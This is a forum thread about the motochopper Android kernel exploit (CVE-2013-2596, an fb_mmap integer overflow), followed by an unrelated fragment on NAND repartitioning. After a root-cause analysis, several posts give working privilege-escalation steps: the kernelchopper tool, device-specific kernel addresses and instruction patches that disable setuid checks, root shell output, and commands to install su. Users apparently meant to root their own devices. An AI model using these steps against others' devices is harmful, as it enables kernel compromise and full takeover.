I ran the motochopper[1] "pwn" binary under an unprivileged shell on my CM10.1 Nexus 7 (Tegra chipset, codename "grouper"), and was surprised to find that it gained administrative privileges by changing all "shell"-owned (uid 2000) processes on the system to run as uid 0.
It was somewhat worrying to see that an up-to-date ROM had an unpatched vulnerability, and I was concerned about whether rogue apps could leverage it. The CVE entry[2] was surprisingly vague, compounding my suspicions.
Further investigation indicated that motochopper is running a series of syscalls from within a SIGTRAP handler to thwart tracing:
Code:
1662 [4019c940] sigaction(0x5, 0xbecfdcc8, 0xbecfdcc8) = 0
1662 [4019ba5c] gettid() = 0x67e
1662 [4019d160] kill(0x67e, 0x5) = 0
1662 [4019d160] kill(0, 0x5) = 0x5
1662 [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
1662 [4019ba5c] gettid() = 0x67e
1662 [4019d160] kill() = 0
1662 [4019c940] sigaction(0x5, 0xbecfdcb0, 0xbecfdcb0) = 0
1662 [4019ba5c] gettid() = 0x67e
1662 [4019d160] kill(0x67e, 0x5) = 0
1662 [4019d160] kill(0, 0x5) = 0x5
1662 [4019c940] sigaction(0, 0xbecfdcb0, 0xbecfdcb0) = 0x5
1662 [4019ba5c] gettid() = 0x67e
1662 [4019d160] kill() = 0
After disassembling the binary and patching it to invoke the syscalls directly, it looks like the problem involves the framebuffer driver. First, after opening a bunch of other (irrelevant, possibly decoy) devices, the exploit probes the real size of the framebuffer:
Code:
1728 open("/dev/graphics/fb0", O_RDWR) = 6
...
1728 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x400f2000
1728 munmap(0x400f2000, 4096) = 0
1728 mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x40011000
1728 munmap(0x40011000, 8192) = 0
1728 mmap2(NULL, 12288, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4006a000
1728 munmap(0x4006a000, 12288) = 0
...
1728 mmap2(NULL, 9433088, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
1728 munmap(0x4015b000, 9433088) = 0
1728 mmap2(NULL, 9437184, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = 0x4015b000
1728 munmap(0x4015b000, 9437184) = 0
1728 mmap2(NULL, 9441280, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0) = -1 EINVAL (Invalid argument)
Then it tries to map the largest possible region into the process' address space:
Code:
1728 mmap2(NULL, 2415919104, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x70900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2399141888, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x71900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2382364672, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x72900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2365587456, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x73900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2348810240, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x74900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2332033024, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x75900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2315255808, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x76900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2298478592, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x77900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2281701376, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x78900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2264924160, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x79900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2248146944, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7a900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2231369728, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7b900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2214592512, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7c900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2197815296, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7d900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2181038080, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7e900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2164260864, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x7f900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2147483648, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x80900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2130706432, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x81900) = -1 ENOMEM (Out of memory)
1728 mmap2(NULL, 2113929216, PROT_READ|PROT_WRITE, MAP_SHARED, 6, 0x82900) = 0x4015b000
Clearly, a 2GB mapping on a 1GB device should not have succeeded; apparently this overlaps with kernel memory and the exploit is able to iterate through the task_struct / creds to change the uid 2000 processes to uid 0:
Code:
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 2000
1728 getuid() = 0
1728 getuid32() = 0
1728 write(1, "[+] Success!\n", 13) = 13
Checking the perms on /dev/graphics/fb0, it looks like most apps will not have access to this device (though the "graphics" group) and would not be able to directly use this exploit.
Some unanswered questions:
Does this exploit target the kernel's framebuffer infrastructure itself, or only specific drivers? I did not see any obvious fixes along the Linux 3.0 -stable branch, nor did I see any recent Asus kernel commits in the CM github repo.
Why was the binary built with -fPIC and -O0? Is this a form of obfuscation?
What is the significance of probing the framebuffer size? Is it meaningful that 9437184 = 0x900000, and the first mmap() length attempt was 2415919104 = 0x90000000?
[1] http://forum.xda-developers.com/showthread.php?t=2252248
[2] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2596
Edit:
Some recent changes were made to fbmem.c:fb_mmap() in mainline:
http://www.spinics.net/lists/stable/msg06210.html
https://lkml.org/lkml/2013/4/23/623
There is no custom fb_mmap() in Tegra's fb_ops struct.
Seeing the kernel maintainers madly rush to backport this innocuous-looking helper function to ancient releases like Linux 3.0, right around the same time motochopper was released (4/9), suggests that they might be trying to clean up a vulnerability in the framebuffer core.
Edit #2:
After staring at the code a little longer (and finally realizing that mmap2() takes a PAGE offset as its last argument, not a BYTE offset), here is what I see:
Code:
static int
fb_mmap(struct file *file, struct vm_area_struct * vma)
{
struct fb_info *info = file_fb_info(file);
struct fb_ops *fb;
unsigned long off;
unsigned long start;
u32 len;
if (!info)
return -ENODEV;
if (vma->vm_pgoff > (~0UL >> PAGE_SHIFT))
return -EINVAL;
off = vma->vm_pgoff << PAGE_SHIFT;
fb = info->fbops;
if (!fb)
return -ENODEV;
mutex_lock(&info->mm_lock);
if (fb->fb_mmap) {
int res;
res = fb->fb_mmap(info, vma);
mutex_unlock(&info->mm_lock);
return res;
}
/* frame buffer memory */
start = info->fix.smem_start;
[color=red]len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.smem_len);[/color]
if (off >= len) {
/* memory mapped io */
off -= len;
if (info->var.accel_flags) {
mutex_unlock(&info->mm_lock);
return -EINVAL;
}
start = info->fix.mmio_start;
len = PAGE_ALIGN((start & ~PAGE_MASK) + info->fix.mmio_len);
}
mutex_unlock(&info->mm_lock);
start &= PAGE_MASK;
[color=blue]if ((vma->vm_end - vma->vm_start + off) > len)
return -EINVAL;[/color]
off += start;
vma->vm_pgoff = off >> PAGE_SHIFT;
/* This is an IO map - tell maydump to skip this VMA */
vma->vm_flags |= VM_IO | VM_RESERVED;
vma->vm_page_prot = vm_get_page_prot(vma->vm_flags);
fb_pgprotect(file, vma, off);
[color=green]if (io_remap_pfn_range(vma, vma->vm_start, off >> PAGE_SHIFT,
vma->vm_end - vma->vm_start, vma->vm_page_prot))[/color]
return -EAGAIN;
return 0;
}
The initial mmap2/munmap sequence is trying to deduce the rounded smem_len + (smem_start partial page byte) value (len) by trying successively larger values until the check in blue returns -EINVAL. Result: 9437184 = 0x900000 (i.e. the framebuffer size is 9MB).
fb_mmap() is funny in that offsets 0 through (len-1) map the framebuffer, but offset (len) maps byte 0 of mmio_start. Which looks to be uninitialized (zero) in the Tegra driver.
The second sequence of mmap2() calls is trying to find the largest possible mapping. The kernel mmap2() syscall returns -ENOMEM if the mapping is too large for the virtual address space available to the process; fb_mmap() is not even called if this happens. When fb_mmap() is eventually called:
Page offset = 0x82900
Byte offset = off = 0x82900 << PAGE_SHIFT = 0x8290_0000
len = 0x90_0000 and "off" is much larger than len, so this hits the MMIO case. len is subtracted from off, leaving 0x8200_0000. Since the offset is so large, the length check in blue overflows: the VMA size of 0x7e00_0000 plus a len of 0x8200_0000 comes out to exactly 0x1_0000_0000; truncated to 32 bits this is zero. This passes the sanity test, so the code in green happily creates a read-write mapping starting at physical address 0 (mmio_start) and covering all of kernel memory.
So basically motochopper is exploiting an unpublicized (but belatedly patched) kernel bug in fbmem.c.
I'm posting a new, open source utility called "kernelchopper" which uses djrbliss' fb_mmap exploit to allow the advanced user to explore and modify kernel memory on a non-rooted system.
kernelchopper employs a few extra refinements to maximize the amount of kernel memory exposed to the user application:
1) It is built and linked statically using the Linaro glibc toolchain, because dynamically linked Bionic binaries tend to map libraries and other stuff in the 0x4000_0000 user address range - a critical part of the address space that we'd like to reserve for the kernel memory mapping
2) It uses MAP_FIXED to force the kernel to use the lowest VA available, and adjusts the base address until it finds a mutually agreeable number
On my Nexus 7 I was able to map PA range 0x5000_0000 - 0xffff_ffff. On Tegra systems, system RAM starts at PA 0x8000_0000 (= kernel VA 0xc000_0000), so it is trivial to patch the kernel image in place.
Sample usage:
A quick check of /proc/iomem shows that physical memory starts at PA 0x8000_0000; the decompressed kernel image lives at VA 0xc000_8000 (ARM 3GB/1GB standard) = PA 0x8000_8000. Make a note of this for later:
Code:
80000000-beafffff : System RAM
80008000-80900a57 : Kernel text
80944000-80b841af : Kernel data
Since I built my ROM from source, I have a kernel image with full symbols. Install binutils-multiarch and disassemble with "objdump -d vmlinux":
Code:
c0077650 <sys_setuid>:
c0077650: e92d40f8 push {r3, r4, r5, r6, r7, lr}
c0077654: e1a05000 mov r5, r0
c0077658: eb0040d6 bl c00879b8 <prepare_creds>
c007765c: e2504000 subs r4, r0, #0
c0077660: 0a000027 beq c0077704 <sys_setuid+0xb4>
c0077664: e1a0200d mov r2, sp
c0077668: e3c23d7f bic r3, r2, #8128 ; 0x1fc0
c007766c: e3c3303f bic r3, r3, #63 ; 0x3f
c0077670: e3a00007 mov r0, #7
c0077674: e593300c ldr r3, [r3, #12]
c0077678: e59362fc ldr r6, [r3, #764] ; 0x2fc
c007767c: ebffd80f bl c006d6c0 <nsown_capable>
c0077680: e3500000 cmp r0, #0
[color=red]c0077684: 1a00000a bne c00776b4 <sys_setuid+0x64>[/color]
Forcing the branch in red to be taken unconditionally will allow any user to setuid() to any UID, bypassing the kernel's security checks. This is easy to do with kernelchopper. First verify that the code matches the disassembly:
Code:
[email protected]:/data/local/tmp $ ./kernelchopper d 80077650 40
80077650: f8 40 2d e9 00 50 a0 e1 d6 40 00 eb 00 40 50 e2
80077660: 27 00 00 0a 0d 20 a0 e1 7f 3d c2 e3 3f 30 c3 e3
80077670: 07 00 a0 e3 0c 30 93 e5 fc 62 93 e5 0f d8 ff eb
80077680: 00 00 50 e3 [color=red]0a 00 00 1a[/color] 04 30 96 e5 05 00 53 e1
The little-endian word at PA 0x8007_7684 is 0a 00 00 1a = 0x1a00_000a. Let's change the instruction word to make it unconditional, and then invoke kernelchopper again to setuid() and spawn a shell:
Code:
[email protected]:/data/local/tmp $ ./kernelchopper m 80077684
1a00000a
[email protected]:/data/local/tmp $ ./kernelchopper m 80077684 ea00000a
[email protected]:/data/local/tmp $ ./kernelchopper shell
[email protected]:/data/local/tmp # id
uid=0(root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)
At this point you can remount /system read-write, install an "su" binary in /system/xbin, make the "su" binary setuid root, and install Superuser/SuperSU. You will probably want to reboot soon because any other process running on the system can also get root until the virgin kernel is reloaded, if it somehow knows to try.
kernelchopper can also dump ranges of memory (and/or your kernel image) to a file, for offline analysis. This can help in locating things that you might want to change.
Code:
[email protected]:/data/local/tmp $ ./kernelchopper d 80077650 bc setuid.bin
[email protected]:/data/local/tmp $ hexdump -C setuid.bin
00000000 f8 40 2d e9 00 50 a0 e1 d6 40 00 eb 00 40 50 e2 |[email protected] [user=457974]@...[/user]@P.|
00000010 27 00 00 0a 0d 20 a0 e1 7f 3d c2 e3 3f 30 c3 e3 |'.... ...=..?0..|
00000020 07 00 a0 e3 0c 30 93 e5 fc 62 93 e5 0f d8 ff eb |.....0...b......|
00000030 00 00 50 e3 0a 00 00 ea 04 30 96 e5 05 00 53 e1 |..P......0....S.|
00000040 10 00 00 0a 0c 30 94 e5 05 00 53 e1 00 70 e0 13 |.....0....S..p..|
00000050 0c 00 00 0a 04 00 a0 e1 34 41 00 eb 07 00 a0 e1 |........4A......|
00000060 f8 80 bd e8 04 50 84 e5 0c 50 84 e5 04 30 96 e5 |.....P...P...0..|
00000070 05 00 53 e1 03 00 00 0a 04 00 a0 e1 97 fc ff eb |..S.............|
00000080 00 70 50 e2 f2 ff ff ba 14 50 84 e5 04 00 a0 e1 |.pP......P......|
00000090 1c 50 84 e5 06 10 a0 e1 01 20 a0 e3 cb 61 06 eb |.P....... ...a..|
000000a0 00 70 50 e2 ea ff ff ba 04 00 a0 e1 f8 40 bd e8 |[email protected]|
000000b0 32 41 00 ea 0b 70 e0 e3 e7 ff ff ea |2A...p......|
000000bc
It is often possible to dump the kernel image range from /proc/iomem and either extract the kallsyms information, or compare code sequences to a similar kernel for which you do have symbols. This would allow you to locate interesting functions like sys_setuid() in unfamiliar images.
@SW686,
Many, many thanks to you for your work on this.
Applying the latest OTA update for my ASUS TF700T left it in an almost unusable state due to some core frameworks not getting their permissions set properly. Fortunately, I still had ADB access, I just needed to get superuser privileges to fix the problem.
In the course of doing my research on how motochopper works so as to write my own exploit, I came across your posts. The clear and detailed explanations are excellent and saved me a great deal of time. Your kernelchopper did its job beautifully and allowed me to obtain a root shell and get my tab back to fully working condition. Although, admittedly, I was looking forward to the fun of writing my own hack. Thank you, again!
Cheers!
P.S. If you have a PayPal account and are so inclined, PM me your addy so I may send you a few dollars in appreciation.
doesn't seem to work on my Acer A700.
patched like 3 setuid offsets to ea00000a, ./kernelchopper shell still giving me
setuid() failed: Operation not permitted
that's that try to root the device with locked bootloader.
nex86 said:
doesn't seem to work on my Acer A700.
patched like 3 setuid offsets to ea00000a, ./kernelchopper shell still giving me
setuid() failed: Operation not permitted
that's that try to root the device with locked bootloader.
Click to expand...
Click to collapse
What's the version of the ROM you're running?
Rv16rc01 (Android 4.1.1)
I know there is a way to root it with an insecure boot.img, but that requires to unlock the bootloader.
It's just that there are people who want to root it without unlocking it, because there is no way to relock it.
nex86 said:
Rv16rc01 (Android 4.1.1)
Click to expand...
Click to collapse
OK, so the instruction to modify and its location are a bit different due to a combination of Acer building the kernel optimized for size and using (I believe) GCC 4.6. The instruction offset is 0x0006d258 and the instruction to modify is 0x0a000009.
These commands assume the kernel image starts at address 0x80008000. You can verify this using the command:
Code:
grep -Ei 'kernel (code|text)' /proc/iomem
The new set of commands and their output are:
Code:
[email protected]:/data/local/tmp $ ./kernelchopper m 80075258
0a000009
[email protected]:/data/local/tmp $ ./kernelchopper m 80075258 eaffffff
[email protected]:/data/local/tmp $ ./kernelchopper shell
[email protected]:/data/local/tmp # id
uid=0(root) [snipped]
This should give you root privileges and let you proceed with the rest of the rooting process.
Out of curiosity, did you try to just run motochopper? It will push over the superuser application and binary for you and doesn't require modifying the kernel memory by hand.
Rooted Galaxy Express I8730T
Hi,
Just want to share my success in using 'kernelchopper' for Galaxy Express.
Following are information about the address location
./kernelchopper m 802806ec ea00000a
and files that I was able to copied over
/data/local/tmp/busybox mount -o remount,rw /system
/data/local/tmp/busybox mv /data/local/tmp/su /system/xbin/su
/data/local/tmp/busybox mv /data/local/tmp/Superuser.apk /system/app/Superuser.apk
/data/local/tmp/busybox cp /data/local/tmp/busybox /system/xbin/busybox
chown 0.0 /system/xbin/su
chmod 06755 /system/xbin/su
chmod 655 /system/app/Superuser.apk
chmod 755 /system/xbin/busybox
I'm attaching few screenshots I took
Some more screenshots
Attaching few more pictures
Hi people,
First I have to say I admire your knowledge. I have a ZTE Blade G phone that hasn't been rooted yet. I figured the motocopper exploit might help, since the phone has MSM8225 SoC and it runs 4.1.2 android. It would not work. It actually wrote success once, but didn't actually get root. Now it just writes Bus Error. Now, I've poked a little with kernelchopper, but my /proc/iomem says quite a different thing from yours, presumably because the phone has just 512MB ram. If I try to dump any addresses above 80008000, it writes bus error. Here's the output:
Code:
00200000-0fbfffff : System RAM
00208000-00a48c6b : Kernel code
00a80000-00d33a23 : Kernel data
0fc01000-0fcfffff : System RAM
0fd01000-0fdfffff : System RAM
0fe01000-0fffffff : System RAM
20000000-296fffff : System RAM
a0000000-a001ffff : kgsl_3d0_reg_memory
a0000000-a001ffff : kgsl-3d0
a0200000-a0200fff : msm_serial_hs.0
a0300000-a0300fff : uartdm_resource
a0300000-a0300fff : msm_serial_hsl
I don't really know what this means, but I know in your program you don't allow addresses below 0x50000000, so it won't work. I figured I would kind of dump the whole kernel ram and search for similar commands. I don't even know how, but I figure it would be fun. So, can you point me in the right direction here? I'm a noob, but I want to learn. BTW, for my phone, there isn't any recovery image or I could disassemble, and the bootloader seems to be locked too.
fluxx_srb said:
I don't even know how, but I figure it would be fun. So, can you point me in the right direction here? I'm a noob, but I want to learn.
Click to expand...
Click to collapse
Hi fluxx_srb,
I can have a go at walking you through this if you'd like.
The prerequisites are: a LInux system with an ARM cross-compilation setup, the Linux kernel for your device (I usually get this from the firmware package provided by the OEM), and a copy of the kernel source used for the device (again, from the OEM).
Once you've got all these in place, then we can move on the technical nitty-gritty.
tried it, but it always crashes with android itself when read/write memory.
i have sony walkman nw-f807 (tegra 2 with 512mb ram) which isnt rooted yet, i've tried myself with some exploits like perf_events and diaggetroot, but didnt work.
Code:
00000000-163fffff : System RAM
0003b000-006156f3 : Kernel text
00616000-007aaeef : Kernel data
16400000-164fffff : ram_console
16500000-167fffff : fbmem
50000000-50023fff : tegra_grhost
50000000-50023fff : tegra_grhost
54040000-5407ffff : tegra_grhost
54040000-5407ffff : mpe
54080000-540bffff : tegra_grhost
54080000-540bffff : vi
54100000-5413ffff : tegra_grhost
54100000-5413ffff : isp
54200000-5423ffff : regs
54200000-5423ffff : tegra_grhost
54200000-5423ffff : tegradc
54240000-5427ffff : tegra_grhost
58000000-59ffffff : gart
60005000-60005007 : tegra_wdt
60005000-60005007 : tegra_wdt
60006000-60006003 : tegra_wdt
60006000-60006003 : tegra_wdt
60010000-60010fff : tegra-aes
6001a000-6001dbff : tegra-aes
70000c00-70000c7f : tegra20-das
70000c00-70000c7f : tegra20-das
70002400-700025ff : tegra20-spdif
70002400-700025ff : tegra20-spdif
70002800-700028ff : tegra20-i2s.0
70002800-700028ff : tegra20-i2s
70002a00-70002aff : tegra20-i2s.1
70002a00-70002aff : tegra20-i2s
70006000-7000601f : serial
70006040-7000607f : tegra_uart.1
70006200-700062ff : tegra_uart.2
70006300-7000631f : serial
7000a000-7000a003 : tegra_pwm.0
7000a000-7000a003 : tegra_pwm
7000c000-7000c0ff : tegra-i2c.0
7000c000-7000c0ff : tegra-i2c
7000c400-7000c4ff : tegra-i2c.1
7000c400-7000c4ff : tegra-i2c
7000c500-7000c5ff : tegra-i2c.2
7000c500-7000c5ff : tegra-i2c
7000d000-7000d1ff : tegra-i2c.3
7000d000-7000d1ff : tegra-i2c
7000d800-7000d9ff : spi_tegra.2
7000d800-7000d9ff : spi_tegra.2
7000e200-7000e2ff : tegra-kbc
7000e200-7000e2ff : tegra-kbc
7000f000-7000f3ff : mc
c5000000-c5003fff : fsl-tegra-udc
c5000000-c5003fff : tegra-otg
c5000000-c5003fff : fsl-tegra-udc
c8000000-c80001ff : sdhci-tegra.0
c8000000-c80001ff : mmc1
c8000600-c80007ff : sdhci-tegra.3
c8000600-c80007ff : mmc0
didn't work on my "STILL UNROOTABLE" Nec 101T....
Rooting without bootloader unlock
Just rooted my Android without unlocking !!
fluxx_srb said:
my /proc/iomem says quite a different thing from yours, presumably because the phone has just 512MB ram. If I try to dump any addresses above 80008000, it writes bus error. Here's the output:
Code:
00200000-0fbfffff : System RAM
00208000-00a48c6b : Kernel code
00a80000-00d33a23 : Kernel data
Click to expand...
Click to collapse
becomingx said:
The prerequisites are: a Linux system with an ARM cross-compilation setup, the Linux kernel for your device (I usually get this from the firmware package provided by the OEM), and a copy of the kernel source used for the device (again, from the OEM)
Click to expand...
Click to collapse
Hello to all, I just got root on padfone 2 without unlocking and without these prerequisites. I used adt-bundle-linux-x86-20130729, grep and a compiler (try terminal IDE, or use gentooandroid.sourceforge.net ; if you trust the binaries attached to this message you do not need any compiler), then kernelchopper, then applied manually the end of exynos-abuse.
STEP 0: You may apply this on any Android system on your own risks. If your output of any instruction is not exactly as shown here, you should adapt following instructions accordingly (following color codes, and counting underlined words in hexadecimal notation), or better quit. If you do not get exactly all the outputs I colored here in red, you should QUIT or change previous instructions. If you have no internal microSD, I suggest to you to first chdir a directory of you computer which can host one file of size >4Gb (3898777809 bytes for my padfone 2, the day I bought it).
STEP 1: finding s_show->seq_printf format string found at: 0x80c281c6.
We first use adb to put all attached files (unzipped) in /data/data/com.spartacusrex.spartacuside/adb.
Code:
script backup_before_installing_su_to_disk
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/busybox /data/.tmp/grep
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/kernelchopper /data/.tmp
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb push /tmp/exynos-abuse-static /data/.tmp
adt-bundle-linux-x86-20130729/sdk/platform-tools/adb shell
cd /data/.tmp
./grep Kernel /proc/iomem
[COLOR="RoyalBlue"]80208000[/COLOR]-80d9e39f : Kernel code
80f04000-8128184b : Kernel data
./kernelchopper d [COLOR="RoyalBlue"]80208000[/COLOR] c00000 | ./grep -C 1 '25 70 4b 20 25 63 20 25 73 0a 00\|: 70 4b 20 25 63 20 25 73 0a 00\|: 4b 20 25 63 20 25 73 0a 00\|: 20 25 63 20 25 73 0a 00\|: 25 63 20 25 73 0a 00\|: 63 20 25 73 0a 00\|25 70 4b 20 25 63 20 25 73 0a $\|25 70 4b 20 25 63 20 25 73 $\|25 70 4b 20 25 63 20 25 $\|25 70 4b 20 25 63 20 25 $\|25 70 4b 20 25 63 20 $\|25 70 4b 20 25 63 $' | ./grep -C 1 '25 70 4b 20 25 63 20 25 73 0a 00\|: 20 25 73 0a 00\|: 25 73 0a 00\|: 73 0a 00\|: 0a 00\|: 00\|25 70 4b 20 25 $\|25 70 4b 20 $\|25 70 4b $\|25 70 4b $\|25 70 $\|25 $'
[COLOR="Green"]80c281c[/COLOR]0: 5b 25 73 5d 0a 00 25 70 4b 20 25 63 20 25 73 0a
80c281d0: 00 6b 61 6c 6c 73 79 6d 73 00 2b 25 23 6c 78 2f
./kernelchopper d [COLOR="Green"]80c281c[/COLOR]0 20
80c281c0: [U]5b 25 73 5d 0a 00[/U] 25 70 4b 20 25 63 20 25 73 0a
80c281d0: 00 6b 61 6c 6c 73 79 6d 73 00 2b 25 23 6c 78 2f
./kernelchopper d [COLOR="Green"]80c281c[/COLOR][U]6[/U] b
[COLOR="Olive"]80c281c6[/COLOR]: [COLOR="Red"]25 70 4b 20 25 63 20 25 73 0a 00[/COLOR]
./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR]
[COLOR="Red"]204b7025[/COLOR]
./grep sys_setresuid /proc/kallsyms
00000000 T sys_setresuid
00000000 T sys_setresuid16
./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR] 20207025
./kernelchopper m [COLOR="Olive"]80c281c6[/COLOR]
[COLOR="Red"]20207025[/COLOR]
./grep sys_setresuid /proc/kallsyms
c[COLOR="SandyBrown"]00856f0[/COLOR] T sys_setresuid
c00b7318 T sys_setresuid16
Notice that /proc/kallsyms now gives offsets instead of 00000000.
STEP 2: patching sys_setresuid, applying manually exynos-abuse.c (found at 0x802856f0, which is 0x00856f0 plus 80208000). You should replace the underlined lone 8 by the number of bytes underlined, before the 00 00 50 e3 ...
Code:
./kernelchopper d [COLOR="YellowGreen"]802856f0[/COLOR] 80 | ./grep '00 00 50 e3\|20 00 00 ea'
[COLOR="Purple"]8028572[/COLOR]0: [U]04 72 93 e5 a7 da ff eb[/U] 00 00 50 e3 20 00 00 ea
./kernelchopper d [COLOR="Purple"]8028572[/COLOR][U]8[/U] 8
[COLOR="MediumTurquoise"]80285728[/COLOR]: [COLOR="Red"]00 00 50 e3 20 00 00 ea[/COLOR]
./kernelchopper m [COLOR="MediumTurquoise"]80285728[/COLOR]
[COLOR="Red"]e3500000[/COLOR]
./kernelchopper m [COLOR="MediumTurquoise"]80285728[/COLOR] e3500001
STEP 3: getting a root shell.
Code:
./exynos-abuse-static
[email protected]:/data/.tmp # /system/bin/id
uid=[COLOR="Red"]0[/COLOR](root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats)
And you are root until end of connexion by adb. I strongly suggest to you to make the first true backup, to have a chance to restore phone to current state. With an internal microSD, you can type:
Code:
cp grep bzip2
./bzip2 -c < /dev/block/mmcblk0 > /Removable/Storage1/backup.bz2
To exploit this file, you will need kpartx.
If you have NO internal microSD, try a network drive; or if you can wait a full day (like me), you can do:
Code:
cp grep bzip2
cp grep uuencode
./bzip2 -c < /dev/block/mmcblk0 | ./uuencode -
The result will be shown on current window, so you have better hide it once it works. I had a performance of 400kb/s with hidden xterm.
You will then be able to recover its content with
Code:
LANG= grep -aA99999999 '^begin 666 -' < backup_before_installing_su_to_diskreal | uudecode -o backup.bz2
You may now install /system/xbin/su, eventually renamed to avoid exposing su to malware.
Here is my firmware (see attached pic).
Code:
Android version: 4.1.1, 3.4.0-perf-g64..., M3.13.30-A68_101034 [Jan 22 2013]
If you need help, please type up-arrow repeatedly, down-arrow repeatedly, then provide the file backup_before_installing_su_to_diskreal.
Credits to alephzain for original version of exynos-abuse.c, SW686 for kernelchopper.c, spartacusrex for Google-Play's Terminal IDE.
I now use attached shell script with . ./root_padfone.sh (notice the dot) ; please update the script if you needed to change anything in step 1, or 2.
Code:
[email protected] ~/root_padfone $ . ./root_padfone.sh
[email protected]:/data/data/com.spartacusrex.spartacuside/adb/root_padfone # exit
e3500000
[email protected] ~/root_padfone $
In the images, you see I use a ssh server to share the adb priviledges.
closed source
it seems both MotoChopper as well as framaroot are closed source rooters, so using them involves a certain risk...
mai77 said:
it seems both MotoChopper as well as framaroot are closed source rooters, so using them involves a certain risk...
Click to expand...
Click to collapse
This is why I invented the more open-source method that is displayed three posts above.
xdej said:
Just rooted my Android without unlocking !!
Click to expand...
Click to collapse
I just updated this post, any busybox you trust will work, Terminal IDE is no more needed.
I also suggested to make backups with instructions on how to make them.
Has anyone done this on a Galaxy Nexus running 4.2.2? I've spent a bunch of time searching and this seems like the only hope for rooting via an exploit on the GNex. I actually do kernel and android development but from my understanding of the posts here I need to get the address of certain kernel functions to apply this to my device. I'm running the stock build, can anyone help me with this or walk me through how to get the required information to use kernelchopper?
Thanks.
The best guide I've followed from xda this year, period.
I've rooted an a13 tablet with android 4.1.2 (it was easy as motochopper already works on it).
Tried on a 4.2.2 no-name tablet and did not manage to make it work for now, but I will try harder
Related
Hey I just tried to repartition my NAND for some testing but it seams something don't like that I'm doing that. first the fdisk-log of my changes:
Command (m for help): n
First cylinder (13-122496, default 13):
Using default value 13
Last cylinder or +size or +sizeM or +sizeK (13-16, default 16):
Using default value 16
Since here I had a a new partition(mmcblk1p26) at the end of the table
Command (m for help): w
The partition table has been altered.
Calling ioctl() to re-read partition table
fdisk: WARNING: rereading partition table failed, kernel still uses old table: Device or resource busy
After that the kernel only showed me 21 partitions instead of 26. Seems something really went wrong. A reboot ended in bootloader failure-message. Had to flash an sbf...
Click to expand...
Click to collapse
Is it just some configuration-problem or is the partition-table signed?
If there was a 'tag' feature like facebook here on xda, I would have tagged Epsylon3 in this thread
bdw, what will be the benefit of partitioning NAND.
It was just an experiment. If it would work we could resize the system-partition to a minimum and create a new one in ext4-format and toys like that
But it takes much time to test this because if it does not work you have to flash an sbf
m11kkaa said:
It was just an experiment. If it would work we could resize the system-partition to a minimum and create a new one in ext4-format and toys like that
But it takes much time to test this because if it does not work you have to flash an sbf
Click to expand...
Click to collapse
I have seen something like this in wildfire forum a long ago.
http://forum.xda-developers.com/showthread.php?t=1233340
just to archive:
Original Partition-Table(Normal-Mode):
Code:
Disk /dev/block/mmcblk1: 1958 MB, 1958739968 bytes
16 heads, 16 sectors/track, 14944 cylinders
Units = cylinders of 256 * 512 = 131072 bytes
Device Boot Start End Blocks Id System
/dev/block/mmcblk1p1 * 2 2 128 83 Linux
/dev/block/mmcblk1p2 5 8 512 83 Linux
/dev/block/mmcblk1p3 9 12 512 83 Linux
/dev/block/mmcblk1p4 13 122496 15677952 5 Extended
/dev/block/mmcblk1p5 17 20 512 83 Linux
